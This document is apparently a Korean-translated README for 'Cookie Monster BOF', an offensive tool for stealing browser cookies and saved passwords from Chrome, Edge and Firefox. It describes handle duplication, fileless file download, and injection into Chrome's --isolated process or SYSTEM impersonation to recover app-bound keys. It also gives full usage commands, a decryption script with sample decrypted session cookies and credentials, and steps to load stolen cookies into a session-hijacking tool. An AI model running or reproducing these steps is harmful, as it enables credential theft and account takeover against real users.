
BOF 기반 도구로 Chrome, Edge, Firefox에서 브라우저 쿠키와 자격 증명을 추출하며, 핸들 복제 및 파일리스 다운로드 방식을 사용하고 오프라인 복호화를 지원합니다.
BOF를 통해 Edge, Chrome, Firefox의 브라우저 쿠키를 탈취하세요!
Cookie Monster BOF는 Edge와 Chrome 모두에 대해 WebKit 마스터 키와 앱 바운드 암호화 키를 추출하고, Cookies 및 Login Data 파일에 대한 핸들을 가진 브라우저 프로세스를 찾아 핸들을 복사한 다음 대상 파일을 파일리스 방식으로 다운로드합니다.
Cookies/Login Data 파일이 다운로드되면 Python 복호화 스크립트를 사용하여 해당 비밀 정보를 추출할 수 있습니다! Firefox 모듈은 profiles.ini를 파싱하여 logins.json 및 key4.db 파일의 위치를 찾아 다운로드합니다. 오프라인 복호화를 위해 별도의 GitHub 저장소가 참조되어 있습니다.
Chrome 및 Edge 127+ 업데이트: 새로운 Chromium 브라우저 쿠키(v20)는 앱 바운드 키를 사용하여 쿠키를 암호화합니다. 결과적으로 이로 인해 app_bound_encrypted_key를 검색하는 것이 다소 어려워집니다. snovvcrash 덕분에 권한 상승 없이도 이 과정을 수행할 수 있습니다. 단, 프로세스가 웹 브라우저의 애플리케이션 디렉터리에서 실행 중이어야 합니다. 즉, Chrome/Edge에 인젝션하거나 브라우저와 동일한 애플리케이션 디렉터리에서 비콘을 생성해야 합니다.
Chrome 157+는 실제 브라우저를 두 번째 chrome.exe --isolated 프로세스로 시작하는 비격리 런처 프로세스를 실행할 수 있습니다. 격리가 활성화된 상태에서 생성된 앱 바운드 키는 Chrome의 격리 보안 속성을 지닌 호출자만 복호화할 수 있습니다. --isolated Chrome 프로세스에 인젝션하세요. 런처에 인젝션하면 HRESULT 0x8004A018(kIsolationStateInvalid)이 반환됩니다. 함께 표시되는 Win32 오류는 오래된 값일 수 있으므로(예: 122), 이 상태를 진단하려면 HRESULT를 사용하세요.
브라우저 프로세스에 인젝션할 필요 없이 SYSTEM 권한으로 쿠키를 복호화하세요! Chrome의 PostProcessData 함수를 복호화하는 방법을 발견한 @sdemius와 설명을 제공한 @b1scoito에게 감사를 전합니다! Chrome 137+에서는 PostProcessData() 함수가 다시 한 번 변경되었으며, 이를 알아낸 @runassu에게 감사를 전합니다!
최신 업데이트에서는 @M1ndo 덕분에 Webkit 마스터 키의 복호화가 추가되었습니다. 마스터 키는 앱 바운드 키와 함께 자동으로 복호화됩니다. 이를 활용하려면 Python 복호화 스크립트에 키를 추가하세요. 주로 로밍 프로필이 사용되는 경우, Edge에 저장된 비밀번호, 또는 오래된 저장 비밀번호에서 이 키가 사용되는 것을 볼 수 있습니다.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
컴파일하기 전에 Linux에 Mingw-w64와 make가 설치되어 있는지 확인하세요.
make
요구 사항 설치
pip3 install -r requirements.txt
사용법
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
예시: Chrome/Edge 쿠키 파일 복호화
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome AES 키로 Chrome 쿠키 복호화
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/Edge 쿠키 파일을 복호화하여 json으로 저장
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
https://cookie-editor.com/ 로 쿠키 JSON 파일 가져오기
Chrome/Edge 비밀번호 파일 복호화
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Firefox 쿠키 및 저장된 자격 증명 복호화:
https://github.com/lclevy/firepwd
https://github.com/fkasler/cuddlephish와 함께 쿠키를 사용할 수 있도록 지원하는 cuddlephish 옵션을 복호화 스크립트에 추가했습니다.
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
이 프로젝트는 Mr-Un1k0d3r와 그의 놀라운 시즌별 영상들의 도움 없이는 완성될 수 없었습니다!
그의 강의를 꼭 확인해 보시길 강력히 추천합니다!!!
Cookie Webkit Master Key Extractor:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Fileless download:
https://github.com/fortra/nanodump
Decrypt Cookies and Login Data:
https://github.com/login-securite/DonPAPI
App Bound Key Decryption:
https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Decrypt Chrome 137+ Cookies
https://github.com/runassu/chrome_v20_decryption